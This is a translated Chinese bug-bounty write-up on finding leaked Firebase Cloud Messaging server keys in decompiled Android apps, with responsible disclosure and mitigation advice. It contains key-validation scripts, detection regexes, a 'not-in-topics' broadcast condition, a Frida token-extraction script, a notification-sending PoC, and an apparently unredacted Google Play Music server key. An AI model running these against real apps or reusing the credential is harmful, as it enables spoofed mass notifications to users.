不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

今年年初看到不少关于安卓应用程序 hacking 的各种技术和技巧。受好奇心驱使,我决定一试身手。




收集反编译 APK 数据集

翻看了十几篇关于如何开始 hack 安卓应用的博客文章并尽力阅读之后,我决定先开始查找一款安卓应用中的机密信息。

也就是说,需要反编译一个安卓 apk 并找出 strings.xml 文件中的某些已知模型,因为该文件通常存储着机密信息,同时也是代码中“机密声明”的反编译 .smali 文件,即可执行静态代码分析。看起来第一步还可以。

于是开始从 HackerOne 和 Bugcrowd 平台上的一些公开和非公开漏洞奖励计划中下载 apk,以便收集最初的数据集并查找所有机密信息。

在 h1passets 脚本的帮助下我实现了这个目标。同时还写了一个 PR (pull request),收集 HackerOne 非公开漏洞奖励计划中 apk 的数据包 id。之后从bounty-targets-data中收集了 HackerOne 和 Bugcrowd 公开漏洞奖励计划中的一些数据包 id。

收集好数据包 id之后,我花了一些时间从 apkcombo中下载下来。在一个文件夹中下载好50到70个apk 后,开始使用 apktool.jar 大规模地反编译这些 apk。

使用了一个简单的 bash 脚本完成这一目标:

#!/bin/bash


for file in *.apk
do
java -jar ~/APK_Research/apktool.jar d $file -o decompiled_apks/$file/
done

现在得到了反编译 apk 的大小可观的数据集!




变量名称说明一切

从 Zile(我记得刚开始好像是这个名称)获得正则表达式模式的修改版本,连接好 gf(围绕查找字符串的封装)后,我开始从反编译的 apk 目录中简单地gf 查找字符串,以便分析是否能够马上发现并报告一些机密信息。

我通过自己的 vps 运行了一晚上 Decompiled_apks 文件夹的 gf 查找字符串,并将结果保存在单独的文件夹中以便进一步分析。这些保存好的文件中包含 API 密钥/机密、它们的位置和变量名称。

第二天,我查看了多数文件,只发现一些本来就是公开的 SDK 密钥、范围有限的 API 密钥等。

是时候查找包含谷歌云项目 (GCP) API 密钥的 gcp_keys.txt 了。我知道它们一般会包含 Google Maps 或 Google CrashReporting API 的 API 密钥,但不会产生什么影响。

但GCP 密钥可能是多权限的,即同一个密钥可用于不同的已启用的 API。

因此,我开始查看 gcp_keys.txt 文件,而并没有更多地关注变量名称。有时候变量名称会提供很多关于密钥权限的信息。如下是在 gcp_keys.txt 中遇到的变量名称的粗略片段:

apk-1/AndroidManifest.xml: 
apk-3/trx.smali:    const-string v1, "AIzaSyQ[REDACTED]"
apk-5/AndroidManifest.xml: 
apk-8/res/values/strings.xml: AIzaSyl[REDACTED]
apk-2/res/values/strings.xml: AIzaSyl[REDACTED]
apk-4/AndroidManifest.xml: 

因此,我从文件中提取了如下潜在的变量名称的列表:

google_maps_geocoder_key、notification_server_key、google_notification_key、app_api_key、googlePlacesWebApi、server_key 等。

我感觉这些密钥还具有更多的功能!于是开始查找包含类似变量名称的文章/博客,理解这些密钥所起的作用是什么。

Server_key 和notification_server_key 让我接触到 Firebase CloudMessaging/FCM。




FCM 服务器密钥——阅读文档并验证密钥

访问了 Firebase CloudMessaging (FCM) 后,我了解到查找出的密钥可能和云消息即推送通知服务之间存在关联。因为还没找到解释通透的文章,于是开始深挖。

从文档中了解到:

  • 存在一个处理 Send Requests (执行推送通知的授权请求)的服务器环境

  • 存在一个客户端 FCM SDK,负责生成识别设备 app 实例的 IID 令牌。

手头的这些密钥有可能起什么作用呢?我可能拥有在服务器环境中扮演某种角色的密钥,或者拥有本计划公开的客户端 SDK 密钥。

我专注分析服务器环境,偶然碰到一篇名为《从遗留到 HTTP v1 服务器协议的迁移指南》,它建议将遗留的 HTTP 协议迁移到现在 HTTP v1。

但如你所见,它也说明了如何在之前的条件下将 AizaSy 密钥用作授权密钥,如下所示:

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第1张图片

由此,我认为 AizaSy 密钥的作用是通过 Legacy HTTP 协议对 Send Requests 进行授权,也就是通过遗留的 HTTP 协议发送我选择的推送通知。

我们无法使用当代 HTTP v1 协议,因为它基于 oauth2.0 安全模型,因此我们需要使用持有者的服务账户令牌。

于是,我阅读了关于遗留 http 协议的文档之后,发现了验证该密钥的简单 curl:

api_key=YOUR_SERVER_KEY


curl --header "Authorization: key=$api_key" \
     --header Content-Type:"application/json" \
     https://fcm.googleapis.com/fcm/send \
     -d "{\"registration_ids\":[\"ABC\"]}"

如果以上curl 返回响应状态码“200 OK”,那么该密钥就是合法的,而返回的其它内容都证明密钥无效。对其中一个可疑密钥测试后获得了响应状态码“200 OK”!

于是,我了解了如何验证该密钥以及该密钥的目的。

总结得到如下 FCM 架构图:

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第2张图片




发现密钥变体

阅读上述关于授权遗留 HTTP 请求的文章后,我按照如下指令访问了 Firebase 项目的 Cloud Messaging 标签,以便定位 FCM 服务器密钥 AizaSy,并找到了该密钥的另外一个变体!

如下图展示了 FCM 服务器密钥的两个变体。

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第3张图片

正则表达式 AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}的 FCM 服务器密钥类似于遗留的服务器密钥,也就是说这两个密钥都是项目凭据,都有权将 send requests 发送给 Firebase 项目下启用了 FFCM SDK 的应用程序。这个密钥类型是按照文档要求使用的。

之后,搜索了多篇关于将 GCM (Google CloudMessaging) 迁移到 FCM的博客文章,发现很有可能存在具有先前 GCM 权限的 gcp 密钥。虽然 GCM 很久之前就遭弃用,但由于迁移问题以及为了避免回归问题,这类密钥在新的 FCM 端点上仍然是有效的!这是 FCM 服务器密钥的最后一个变体。

这样,我们就有了3种类型的 FCM 服务器密钥:

  • 正则表达式 AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}的FCM 服务器密钥。

  • 正则表达式 AIzaSy[0-9A-Za-z_-]{33}的遗留 FCM 服务器密钥。可将该密钥自动添加到你的 GCP 项目中。

  • 具有和以上正则表达式AIzaSy[0-9A-Za-z_-]{33}相同的 FCM 权限的 GCP 密钥。在这个变体中,密钥是在 GCP 密钥下创建的,之后获得重要权限。

由此,遗留的服务器密钥被降级,因此未来的任意 Firebase 项目都不再包含遗留的服务器密钥:

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第4张图片

但如果出现遗留的服务器密钥,则它们仍然是有效的(目的是为了阻止任何积压和递归!)

我快速将新的正则表达式  AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140} 添加到 gf 配置中,并在反编译的 apk 数据集中开始新一轮的字符串查找工作并进行验证!

如下是所有密钥变体的 gf 配置组合:

{
    "flags": "-oEarHn",
    "patterns": [


     "AIzaSy[0-9A-Za-z_-]{33}",
     "AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}"
 ]
}

又出现了!

查找密钥的字符串后,我编写了一个简单的验证脚本,将所有符合要求的 FCM 密钥放到一个单独的 txt 文件中。



#!/bin/bash
while read -r key
do
code=`curl --header "Authorization: key=$key" --header Content-Type:"application/json" -s -o /dev/null -w "%{http_code}" -d "{\"registration_ids\":[\"ABC\"]}" 'https://fcm.googleapis.com/fcm/send'`
if [ "$code" == "200" ]
then
echo "[*]       Key is $key"
echo "$key" >> valid_keys.txt
fi


#gcp_keys.txt has the all the grepped keys, both AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140} and AIzaSy[0-9A-Za-z_-]{33}
done<"/gcp_keys.txt"


#eliminate duplicates
sort -u -o valid_keys.txt valid_keys.txt
echo "DONE!"

令人惊讶的是,由50个反编译 apk 组成的初始数据集中竟然包含了这两种正则表达式的很多已验证密钥,它们符合多个漏洞奖励计划的要求!




影响的界定

这时,我已经拥有了所有的已验证密钥并且直到每个密钥的用途。但是还有许多问题需要回答:

  • 如何定义它们的影响?

  • 创建简明扼要的 POC 需要哪些步骤?

  • 能够使用富通知,即镜像/gif 动图吗?

我知道影响“是什么”,即它通过恶意推送通知影响很多用户并破坏公司业务,但并不了解“是如何”影响的。

因此从影响的角度来看,“播报 (broadcast)”回响在脑海。也就是说受影响的用户越多,影响就越大。

是时候再次进行挖掘了。

我发现一篇文章简述了主题通讯消息 (topic messaging)解释了 FCM 如何允许通过使用群组用户/设备令牌的“topics”一次性向多台设备发送通知。它正好符合我的要求。

“topics”是服务器端定义集合的属性。例如,一款应用程序可以将某个 topic 定义为“新闻”,那么就可以一次性向对新闻类别感兴趣的群组用户发送类似通知,而不必单独向每个用户发送通知。

Topic 消息通讯的可视化表示如下:

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第5张图片

但这种方法附加了一些字符串。或者需要应用程序即客户端让用户订阅某个topic,或者 FCM Admin SDK 即服务器环境必须订阅某个 topic。

因此,为了提取 topic 的名称,我想到了两个办法:

  • 在客户端的应用程序代码中查找字符串 

subscribeToTopic(

该函数接收 topic 名称为参数,因此该函数的真正原型是 subscribeToTopic("weather")。但它没有产生任何结果。这可能说明 topics 可能是在服务器环境下管理的。于是,我尝试了第二个办法:

  • 在服务器端通过暴力获取 topic 名称

假设用户订阅了某个 topic,我必须暴力获取多个 topic 名称,之后使用如下每个 topic 名称的 POST 请求触及所有用户:

POST https://fcm.googleapis.com/fcm/send HTTP/1.1


Content-Type: application/json
Authorization: Key=AizaSy
{
  "message":{
    "topic" : "",
    "notification" : {
      "body" : "This is a Firebase Cloud Messaging Topic Message!",
      "title" : "FCM Message"
      }
   }
}

这种场景发生的可能性很小。Topic 名称可以是正则表达式 [a-zA-Z0-9-_.~%]+允许的任何内容。那么 topic 的名称就会有很多种组合。

这就让我更深入地挖掘,并使用 FCM 中的“条件”。

注:订阅 topic 并非用户接收通知的强制要求。客户端或服务器端的 topic 管理都不是必须的。感谢好朋友 Yash Sodha创建了一个测试app 并进行实验得出了这个结论。这些都是证实 FCM 客户端 SDK 生成的 IID 令牌已在 FCM 后台注册,而不管是否订阅了 topic

如下图表示了注册了 FCM 后台的客户端 app 后发生的情况。

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第6张图片




逻辑条件表达式——使用 Not 表达式进行播报

如下图表引用自:https://firebase.google.com/docs/cloud-messaging/android/topic-messaging#build_send_requests

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第7张图片

逻辑表达式!

这意味着可使用“逻辑条件表达式”,也就是说我可以使用“&&”(逻辑 and)、“||”(逻辑 or)和“!”(逻辑 not)来构造一个条件,强制 FCM 后台动态选择用户。

所以我决定设置一个永远为 true的条件来选择每个用户!

如上例的条件及其翻译如下:

条件:

"'TopicA' in topics && ('TopicB' in topics || 'TopicC' in topics)"

翻译:

For a user X,

check if they are subscribed to topic A **and** topic B **OR** topic C.

If yes, enroll them to recieve the notification

注意,我们需要如何知道 topic 名称来构造上述条件。

因此,使用一个 NOT (!) 条件和随机的 topic 名称就是 true,不管用户是否订阅了 topic,他们都会收到如下通知:

You can use any random topic name with any sorts of randomization . I have used xyz4356545 in the below example to forumulate this condition.

例如,

条件:

"!('xyz4356545' in topics)"

翻译:

For a User X,

Check If 'xyz4356545' exists under their topics subscription?

Always NO, so the condition ('xyz4356545' in topics) is always False.

Using "!", ('xyz4356545' in topics) --> !('xyz4356545' in topics)

Will always negate False, i.e always True for every user.

如上条件对于每个用户来说永远都是 true,除非某个用户的 topic 下真的拥有“xyz4356545”,条件才会返回 False。但鉴于随机化的情况,发生这种情况的可能性极其低。

鉴于 topic 名称是正则表达式 [a-zA-Z0-9-_.~%]+,我们可以提出几乎没有冲突的完全随机的字符串,确保条件永远是 true!

这样,FCM 后台将为每个用户迭代既有条件,实际上使应用程序的每个用户都受到通知。

鉴于攻击者播报的一条恶意推送很有可能发送给整个应用程序的用户库,我开始将该问题告知多种漏洞奖励计划,同时开始创建一个恰当的 POC,可以对外和各团队共享。这一点很重要,因为总是依靠程序诊断团队并不是最佳办法。




协作和创建 PoC

我与 streaak和 martinbydefault 共享了漏洞详情。他们帮我寻找更多的易受攻击密钥并和我协作。Streaak 还帮忙下载了多个漏洞奖励计划的 apk,分担了我的工作压力。急需脚本 apk-downloader.py后来才发布。感谢 Gwendal Le Coguic所做的一切!

我们找到了更多的密钥。

报告发布前具有经验证的密钥和理想的影响力。

程序诊断团队有义务保管该 POC,因此也不必过于着急。诊断后,我通常会收到类似于“感谢您提交该验证密钥,我们确认它属于我的主流应用程序项目,我们要求您停止测试”的回复。

尽管我确实有一些和 POC 相关的问题想和 HackerOne 及 Bugcrowd 平台的诊断师进行沟通,但程序诊断团队接管后就需要自己确认该 POC 并支付报酬了。

其中 Deliveroo 团队修复该 bug 的速度超级快并几乎秒付赏金。

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第8张图片

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第9张图片

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第10张图片

如上可见,向我的设备发送推送通知将是第一个完美的 POC。

于是,我需要能够提取在客户端app中由 FCM SDK生成的 IID 令牌。

我读到一篇文章,解释了:

  • 如何通过从客户端获取的 IID 令牌提取服务器实例元数据。我可借此确认 FCM密钥和应用程序之间的关系,以证实该密钥确实对所述应用程序具有授权。

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第11张图片

请求成功后收到的响应应该是如下这样的:

{"applicationVersion":"57018","application":"com.org.app","scope":"*","authorizedEntity":"838826245449","appSigner":"1c70bd0334ba2d71bdff6e501b30db0328bc5c14","platform":"ANDROID"}

其中,com.org.app 是客户端应用程序的数据包id。没错,它清楚地将该密钥映射到目标应用程序!

  • 如何向我自己的设备发送通知并创建 POC。

我可以使用如下 CURL 实现这一目标。

api_key=YOUR_SERVER_KEY


curl --header "Authorization: key=$api_key" \
     --header Content-Type:"application/json" \
     https://fcm.googleapis.com/fcm/send \
     -d "{\"registration_ids\":[\"IID TOKEN A.K.A Registration token goes here\"]}"


我用自己的 IID 令牌替代了 registration_ids 的值后,我可以将通知发给自己的设备并构造 POC。




Google VRP: 通过 Frida 构建 PoC,影响10亿用户

我从未计划通过谷歌自己的服务黑掉它的应用程序。我当时认为记录很渺茫,等着最后再去尝试(可千万别这么做)。

在尝试提取 IID 令牌完成 POC时,有个想法冒了出来。

第一个想法是尝试 .smali 代码编辑,在 onCreate() 函数中放一个 Log() 语句,记录生成的 FCM IID 令牌。(smali. 中不存在导入。所有一切都是绝对的)

我在 onCreate()中放了如下内容:

const-string v1, "FCM Device Token" invoke-static {v1, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I move-result v1

如上是一个简单的 Log 语句。我想查看是否可以简单地从记录字符串“FCM Device Token”开始处理。几次尝试并成功重新包装了该 apk后,我依然无法获得 Log() 语句。

于是我知道需要学习关于 smali 编辑和注册表的知识。

就在这时,Yash Sodha 在谷歌 Hangouts 中发现了一个易受攻击的密钥!

太让人兴奋了!

我们决定下载所有的谷歌应用程序并测试。反编译并运行了一些脚本后,我们发现了客户端应用程序中暴露了很多这样的密钥。

就在我们开始尝试创建 POC 的时候,Yash建议我去查看 Frida。它是一款动态应用程序分析工具,可以在过程中进行修改,尝试创建 POC。我对于移动应用hacking完全是门外汉,所以我对 Frida 完全陌生。

既然没有什么结果,那我们就暂时放下 smali 编辑的事情。是时候学习 Frida 了。之后,我通过 Yasoob Khalid 的博客文章学习了很多关于 smali 编辑的基础知识。

如下是我学习 Frida 的资源:

https://frida.re/docs/examples/android/

https://www.shielder.it/blog/fridalab-writeup/

https://joshspicer.com/android-frida-1

https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/frida-tutorial

https://resources.infosecinstitute.com/frida/#gref




接管谷歌 Play Music FCM, 影响10亿用户

我们在Google Play Music 的反编译 .smali 代码中暴露的更长的正则表达式中找到了 FCM 服务器密钥:

./smali_classes2/com/google/android/music/firebase/FirebaseAppFactory.smali:35:


const-string v1, "AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL"

熟悉 Frida 后,我将自己需要跟踪的函数进行了一些简化:

  • 反编译该 apk 并通过 JADX GUI 查看源代码

  • 查找导入 FCM 实例 id类:“importcom.google.firebase.iid.FirebaseInstanceId;”。这些类包含调用所需 SDK 方法的函数,这些方法将返回 IID 令牌。因此这样有助于我缩减这些类的范围。

  • 找到和 IID 令牌相关的合适函数并进行探查。

对于 Google Play Music,我也做了同样的事情。

反编译并查找“importcom.google.firebase.iid.FirebaseInstanceId;”后,发现了类  “com.google.android.music.sync.google.gcm.FcmRegistrationHandler”。

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第12张图片

如上提到的类拥有函数 getFcmIidToken()。如下是它的定义:

private String getFcmIidToken() throws FcmRegistrationException {
        Task instanceId = this.firebaseInstanceId.getInstanceId();
        try {
            Tasks.await(instanceId);
            if (!instanceId.isComplete() || !instanceId.isSuccessful()) {
                throw new FcmRegistrationException("Cannot get iid.");
            }
            InstanceIdResult result = instanceId.getResult();
            if (instanceId.isSuccessful()) {
                Log.d("MusicGcmRegistration", "FCM registration was successful.");
                return result.getToken();
            }
            throw new FcmRegistrationException("Not saving FCM token, does not exist.", instanceId.getException());
        } catch (InterruptedException | ExecutionException e) {
            throw new FcmRegistrationException("Error getting iid", e);
        }
    }

如上所示,returnresult.getToken(); 在实例成功注册后返回了 FCM IID 令牌,即判断 instanceId.isSuccessful()是否为 true。

this.firebaseInstanceId.getInstanceId().getResult().getToken()

我写了一个简单的 Frida 脚本,提取 getFcmIidToken() 函数的返回值并捕获该返回值。

GetFCM.js

Java.perform(function () {
      console.log("Tracing getFcmIidToken under class com.google.android.music.sync.google.gcm.FcmRegistrationHandler");


      // As the method getFcmIidToken() is non-static, it needs to be invoked by an instance of the class.
      // Hence the use of Java.choose()
      Java.choose("com.google.android.music.sync.google.gcm.FcmRegistrationHandler", {
        onMatch: function (inst) {
          console.log("Instance Found "+inst.toString());
          var ret_val = inst.getFcmIidToken();
          console.log("FCM IID token is "+ret_val);


        }
      });
      console.log("Done");


    });


我们使用 Frida CLI 运行:

frida -U -l C:\Users\user\Desktop\getFCM.js -f com.google.android.music --no-pause

我们获得了如下所示的 IID 令牌!

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第13张图片

最终,我们得偿所愿!

对于 POC,我们做了如下几件事:

  • 通过如下 curl 提取服务器实例元数据:

curl -X GET  --header "Authorization: key=AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL" --header "Content-Type:application/json" https://iid.googleapis.com/iid/info/fgis_9yyD_c:APA91bEilQI1ncoYlYpF-AIUQvQdymi7iSaXDX2Tuv3rhpo3PDoawCHhzmdFjahXsltRuYxPb7vL2YReVOR4fCMcir76rFsKLfer4abpq8_KdRzGHf1exz0GJU4APTOadqvU5x9vv1os?details=true

响应:

{"applicationVersion":"84291","application":"com.google.android.music","scope":"*","authorizedEntity":"241337957434","appSigner":"38918a453d07199354f8b19af05ec6562ced5788","platform":"ANDROID"}

注:属性 authorizedEntity 根据Firebase 项目的不同而不同。

瞧!该密钥具有对 Google Play MusicApp 的授权!

对于最终的 POC,我使用了 pyfcm 并编写了一份简单的 python 脚本:

$ python3 fcm_send_selfnotif.py -sk  -iid 
from pyfcm import FCMNotification
import argparse




# Input Management
ap = argparse.ArgumentParser()
ap.add_argument(
        "-sk", "--serverkey", required=True,
        help="FCM Server Key found"
    )
ap.add_argument(
        "-iid", "--iid", required=True,
        help="IID Token source from the Client App"
    )
args = vars(ap.parse_args())
server_key = args["serverkey"]
iid = args["iid"]




#Authorization
push_service = FCMNotification(api_key=server_key)




#Notification Payload
registration_id = iid
message_title = "FCM Hack!"
message_body = "By Abhishek Dharani and Yash Sodha"


#Building Send Request and Executing it.
result = push_service.notify_single_device(registration_id=registration_id, message_title=message_title, message_body=message_body,dry_run=False)


print result

POC Google Play Music !

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第14张图片




接管谷歌 Hangouts、Youtube Go 和 Youtube Music FCM 

经过一些观察后,我们发现 IID 令牌通常通过getDefaultSharePrefreferences() 方法进行存储。

如下图展示了多数 IID 令牌是如何被找到的:

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第15张图片

有了 IID 令牌和密钥,我们就能够立即创建 POC!

如下是 POC:

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第16张图片

(从左到右:Google HangoutsYouTubeMusicYoutube Go

和谷歌安全团队修复这些问题的过程非常有趣。除了获得丰厚的奖金外,我们还额外获得了谷歌的疫情补助。

不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元_第17张图片

在本文发布之时,我在谷歌 GoogleVRP 猎人排行榜上杀入前100名(第93名)!




缓解措施说明

在 app 服务器逻辑中永远都要包含 FCM 服务器密钥,在任意客户端代码中千万不要包含。同时,不要在 GitHub、Gitlab、Pastebin 和其它类似网络资源上公开这些密钥。

  • 如果被暴露的服务器密钥是云消息通讯标签下的模式 AIzaSy{33} 的FCM 遗留服务器密钥,那么这些密钥是控制台中的常数,即“编辑/删除”选项不可用。

从我所收集的信息来看,可以通过另外一种方式从新生成或删除这些密钥,解释如下。

虽然你可以在 Firebase 项目中删除最近关联的 Legacy Server Key,但需要注意的是如果处理不当,会引发多种问题。只有你在确保自己永远不再使用该 Legacy Server Key的情况下才能这样做。

如下是删除步骤:

  • 进入“谷歌开发者控制台”页面。

  • 登入后,在右上角选择正确的项目。如果在“最近”条目中未找到,则到“全部”标签下寻找。

  • 选择正确的项目后,点击向左面板上的“凭据”。之后你应该会看到一个密钥清单,其中一个密钥是“Server”密钥(Google Service 自动创建)。检查后你会发现这个密钥就是 Firebase 项目中看到的“遗留服务器密钥”。

  • 自此,你可以点击“铅笔”或“垃圾桶”图表。

如果点击的是“铅笔”图标,则你可会被引导到一个页面,选择“重新生成”或“删除”该密钥。选择生成新密钥将会生成一个新的服务器密钥,在 Firebase 项目中也会看到这种变化,不过你仍然可以撤销这一选项(在24小时内修改)。

选择删除密钥会为你自动生成一个新密钥,但你无法撤销这一修改。

之后,你就可以执行一个服务器端的解决方案。

  • 如果你的FCM 服务器密钥的长度是152个字符且模式如下正则表达式所示:

AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}

那么,你必须从 Firebase 控制台中的云消息通讯标签下删除该服务器密钥。你可以生成一个新密钥并实现服务器端解决方案。

简言之,可以按照官方文档中的指令完成。

整个过程就像过山车一样,而探索过程也非常让人享受。

感谢阅读。

推荐阅读

Google Drive 被曝0day,可诱骗用户安装恶意软件

详情和 PoC 发布后,谷歌匆忙修复严重的 Gmail 漏洞

谷歌8月更新修复50多个漏洞

原文链接

https://abss.me/posts/fcm-takeover/

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 吧~

你可能感兴趣的:(java,python,大数据,编程语言,javascript)